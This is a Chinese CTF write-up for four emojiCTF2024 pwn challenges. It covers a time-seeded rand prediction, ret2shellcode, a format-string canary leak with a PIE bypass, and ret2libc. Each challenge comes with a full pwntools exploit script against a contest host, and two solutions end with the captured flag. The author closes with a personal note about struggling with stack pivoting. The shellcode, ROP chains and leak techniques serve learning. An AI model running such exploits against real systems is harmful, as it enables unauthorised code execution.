emojiCTF2024
猜骰子
查看程序发现伪随机漏洞
v3 = time(0LL);
srand(v3);
需要回答三十次正确后才能得到权限,寻找数据处理的逻辑
v7 = rand() % 6 + 1;
编写代码
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20840
file_name='pwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
libc_cdll = CDLL("libc.so.6")
libc_cdll.srand(libc_cdll.time(0))
for i in range(30):
v7 = libc_cdll.rand() % 6 + 1
io.sendlineafter(b':',str(v7).encode())
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
emoji的签到题
ret2shellcode
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20846
file_name='sign'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
buf2_add = 0x0000000000404080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust((0x110+8),b'a') + p64(buf2_add)
io.sendlineafter(b'input:',payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
emoji的gift
检查保护,开了Canary和PIE
查看程序,发现后门函数,存在两个gets。目前大致思路为先泄露出Canary,再计算出PIE偏移,最后将程序流劫持到后门函数
Canary泄露
第一种是通过覆盖低字节泄露Canary
io.sendlineafter(b'', b'a'*(offset-8+1))
io.recvuntil(b'\n')
canary = u64(b'\00' + io.recv(7))
print(f'Canary: {hex(canary)}')
但是在本题中由于gets不会接收换行符\n,但是会把结尾填充一个\x00,而printf又会被\x00截断,所以这种办法不适用
第二种是通过格式化字符串泄露Canary
payload=b'DDDDDDDD'+b'.%08x'*8
io.sendline(payload)
# DDDDDDDD.00000001.00000001.16384aa0.00000000.00000000.44444444.3830252e.252e7838 偏移6
fmt和Canary栈分布如下
char format[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
计算出Canary的偏移
(0x30-0x8)/8+6=11
再根据偏移量对Canary进行printf的格式化字符串泄露
io.sendlineafter(b'', b'%11$p')
io.recvuntil(b"0x")
canary = int(io.recv(16), 16)
print(f'Canary: {hex(canary)}')
接下来是处理PIE,和 libc_base 的计算大差不差,只不过这里是 pie_base。其他函数的真实地址就可以找到了
pie_base = main_add - 0x000000000000124E
print(f'PIE_base: {hex(pie_base)}')
binsh_add = 0x0000000000001234 + pie_base
编写代码
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20846
file_name='gift'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
io.recvuntil(b'0x')
main_add=int(io.recv(12),16)
print(f'Main: {hex(main_add)}')
offset = 0x30
# io.sendline(b'a'*(offset-8+1))
# io.recvuntil(b'a'*(offset-8+1))
# canary = u64(b'\00' + io.recv(7))
# print(f'Canary = {hex(canary)}')
# payload=b'DDDDDDDD'+b'.%08x'*8
# DDDDDDDD.00000001.00000001.16384aa0.00000000.00000000.44444444.3830252e.252e7838 偏移6
io.sendlineafter(b'', b'%11$p')
io.recvuntil(b"0x")
canary = int(io.recv(16), 16)
print(f'Canary: {hex(canary)}')
pie_base = main_add - 0x000000000000124E
print(f'PIE_base: {hex(pie_base)}')
binsh_add = 0x000000000000123C + pie_base
payload = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(binsh_add)
io.sendline(payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
# emojiCTF{a8a83447-4ad8-4759-bba4-b4a52c3449ae}
emoji基础练习
检查保护,只开了代码执行保护
查看程序,无后门函数,考虑ret2libc。
第一层是需要输入一个特定的值,通过静态分析我们可以找到它的值,这里注意int为10进制
第二层存在一个read栈溢出,可以进行ret2libc,查找所需寄存器。编写代码
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='gz.imxbt.cn'
port=20925
file_name='pwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
io.sendlineafter(b'correct',str(int(0x664C2D98)))
ret_add = 0x000000000040101a
pop_rdi = 0x00000000004011df
main_add = 0x0000000000401221
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset= 0xD0
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'', payload2)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
# emojiCTF{cfba1f37-c82c-43c7-9211-4358bbc74de3}
哎 这两天没有把打卡的发出来 但是一直都在练题 只不过那些题目基本都是很基础的 不好意思发出来 想着多攒点再发 这套题也是看到有个栈迁移才去打的 但是这个栈迁移看了两天还是没什么头绪 目前能看懂百分之六十左右 但是后面部分的payload还是看不懂 相比之前栈迁移还是好了很多 虽然有些忘记但是看了笔记很快就能想起原理 对自己挺失望的 一个知识点看了六七次不下二十遍还是像这样 有进步但是很小